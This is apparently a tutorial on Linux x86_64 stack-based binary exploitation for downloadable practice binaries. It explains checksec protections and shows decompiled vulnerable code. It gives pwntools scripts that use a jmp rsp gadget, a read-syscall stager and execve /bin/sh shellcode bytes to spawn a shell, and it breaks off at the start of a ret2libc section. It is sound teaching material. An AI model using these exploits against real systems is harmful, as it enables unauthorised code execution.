Roman Hergenreder

Table of Contents

1. Introduction
2. Installing Requirements
3. Binary #1: Pwning the Stack
   1. Analyzing the binary
   2. Writing an exploit
4. Binary #2: Needing more space
5. Binary #3: ret2libc

Download Binary #1

• RELRO: Relocation Read-Only, meaning that the .got section is readonly (Partial RELRO) or both the .got and the .got.plt are readonly (Full RELRO). Also, for RELRO the GOT will be loaded before the BSS into the memory, so it's eliminating the risk of buffer overflows overwriting the GOT.
• Stack: Tells is, if the stack canaries are used. A stack canary is a (at program start) randomly chosen value, which is pushed on the stack at the beginning of a function and then checked again, before leaving the function. If we want to overwrite the return address using a Buffer Overflow, we have to know this stack canary, else the binary will crash to not cause any damage.
• NX: If NX is enabled, the stack is usually not executable, so you can only read and write from that section
• PIE: Position Independent Executable, if enabled, shared libraries are loaded at a randomly chosen address in memory, which makes it more difficult, to just jump to a certain library call. This feature is also called Address Space Layout Randomization (ASLR).
• RWX: Tells us, if the binary has segments, which are writeable and executable at the same time. This allows us to inject and execute code.

void _start(undefined8 param_1,undefined8 param_2,undefined8 param_3) {
  undefined8 in_stack_00000000;
  undefined auStack8 [8];
  
  __libc_start_main(main,in_stack_00000000,&stack0x00000008,__libc_csu_init,__libc_csu_fini,param_3,
  auStack8);
  do {
    /* WARNING: Do nothing block with infinite loop */
  } while( true );
}

undefined8 main(void)
{
  char local_78 [112];
  
  fwrite("Tell me your name: ",1,0x13,stdout);
  fgets(local_78,1000,stdin);
  return 0;
}

Now this looks a bit complicated at first sight. The stack is growing to lower addresses, which means, that values pushed first, have a higher address. We can ignore most of the values here anyways, but what we can see, is that the rax and rsp register point to the first address shown. We know, that this is the start address of our buffer, as the address was previously loaded into the register using lea rax,[rbp-0x70]. As there was only 0x70 (112) bytes allocated on the stack using sub rsp,0x70, we can also assume, that right before the buffer the last stack frame (rbp) and the return address are saved on the stack. The visualization of the stack should make it a bit clearer.

So the important addresses for us are:

• 0x00007fffffffe3b0: Begin of the buffer
• 0x00007fffffffe420: saved rbp
• 0x00007fffffffe428: return address

If we put the address 0x0000000000401136 on the stack as return address, the program will firstly jump to our rop gadget and then jump to the address which is stored in the rsp register. The rsp register points in fact to the value right after the return address as the ret instructions takes the return address from the value pointed by the rsp register. Therefore, our shellcode needs to be placed right after the return address. We can take a working shell code from the exploit database shell code page. After searching for Linux/x86_64 - execve(/bin/sh), we find this shellcode. Now we will begin writing actual code. First we are creating a pwn template and replace all the code between io = start() and io.interactive():

io = start()
buffer = b""
buffer += b"A" * (112+8)        # PADDING
buffer += p64(0x0000000000401136) # JMP RSP
buffer += b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" # SHELLCODE
io.sendline(buffer)
io.interactive()

Download Binary #2

undefined8 main(void) {
  char acStack28 [20];
  fwrite("Tell me your name: ",1,0x13,stdout);
  fgets(acStack28,0x2b,stdin);
  return 0;
}

The basic idea is now the following: As the receive buffer is only 20 bytes big, which is not enough for shellcode, and we only got 6 bytes after the return address, we will create code, which will receive more data which is then executed. To achieve this, we have to overwrite the return address again using the jmp rsp gadget, then adding assembler code, which will subtract the rsp register and jumping into it again. Then, we will make a syscall to receive more data, which will be placed right after the instructions, so it's executed immediately without needing to jump somewhere. To make a syscall, we will make use of this website. Because we got a 64-Bit binary, we will have to set the registers according to the table (instead of pushing the values on the stack like for 32-Bit binaries) and then call syscall.

io = start()
padding = 28
# rax = 0, FD = 0 (stdout), destination = buffer + 22, count = 100
buf = b""
buf += asm("xor rax, rax; xor rdi, rdi; mov rsi, rsp; add rsi, 22; mov rdx, 100; syscall")
buf += b"A" * (padding - len(buf))
buf += p64(0x0000000000401136) # jmp rsp
buf += asm("sub rsp, 36; jmp rsp") # rsp = buffer
io.send(buf) 
io.sendline(b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05") # SHELLCODE
io.interactive()

Download Binary #3

undefined8 main(void) {
  char local_28 [32];
  fwrite("Tell me your name: ",1,0x13,stdout);
  fgets(local_28,0x80,stdin);
  return 0;
}

First we need to find out, which libc version is used.